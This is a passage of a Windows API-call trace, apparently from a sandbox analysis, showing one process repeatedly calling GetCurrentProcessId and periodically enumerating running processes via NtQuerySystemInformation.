0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.442] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.443] GetCurrentProcessId () returned 0xbf4 [0197.444] GetCurrentProcessId () returned 0xbf4 [0197.444] GetCurrentProcessId () returned 0xbf4 [0197.444] GetCurrentProcessId () returned 0xbf4 [0198.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d048) returned 0x0 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.078] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.079] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.080] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.081] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.082] GetCurrentProcessId () returned 0xbf4 [0198.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d0e8) returned 0x0 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.689] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.690] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.691] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0198.692] GetCurrentProcessId () returned 0xbf4 [0199.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d0e8) returned 0x0 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.672] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.673] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.674] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0199.675] GetCurrentProcessId () returned 0xbf4 [0200.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.374] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.375] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.376] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0200.377] GetCurrentProcessId () returned 0xbf4 [0201.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.037] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.038] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 